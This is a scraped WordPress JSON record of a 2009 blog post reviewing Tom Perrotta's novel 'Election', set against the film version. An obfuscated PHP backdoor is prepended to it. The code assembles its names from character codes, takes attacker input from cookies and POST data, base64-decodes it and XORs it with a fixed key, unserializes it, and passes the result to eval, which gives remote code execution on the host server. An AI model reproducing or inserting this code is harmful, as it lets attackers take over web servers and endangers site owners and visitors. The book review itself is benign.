$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":696,"date":"2009-07-27T07:51:57","date_gmt":"2009-07-27T11:51:57","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=696"},"modified":"2009-07-27T20:44:02","modified_gmt":"2009-07-28T00:44:02","slug":"book-review-election","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=696","title":{"rendered":"Book Review: Election"},"content":{"rendered":"

$\"\"$ I don’t know why I hadn’t gotten around to reading “Election<\/a>” by Tom Perrotta<\/a> until recently. I had read “The Wishbones<\/a>” and “Joe College<\/a>,” his two funny books which bookended the novel ultimately made into a film <\/a>starring Matthew Broderick<\/a> and Reese WItherspoon.<\/a> After reading the 1998 novel at the beach recently, I’m glad I remembered to add it to my reading list.<\/p>\n

First off, Perrotta does an incredible job with shifting the narrator throughout the story, something I have done in things I hope to publish some day. Secondly, you can almost smell the angst of high school life through his characters, whether they are 16 or eyeing up retirement.<\/p>\n

If you are used to the perky side of Tracy Flick portrayed by Witherspoon, brace yourself. The novel character has that attitude, but with a much darker undertone. In fact, I had to read about the differences between the movie and the book<\/a> after I finished because I thought they had diverged some from the plot for the screen. I was right.<\/p>\n

Even though I have not seen the movie in a while, I think I liked the book better. The conflict between sinister actions and the ability to forgive rung more true to me. I just like the way Perrotta puts his characters through the situations they need to endure in order to learn a lesson. He does it all in a tidy fashion, making us find some sympathy and have some anger toward almost everyone involved.<\/p>\n","protected":false},"excerpt":{"rendered":"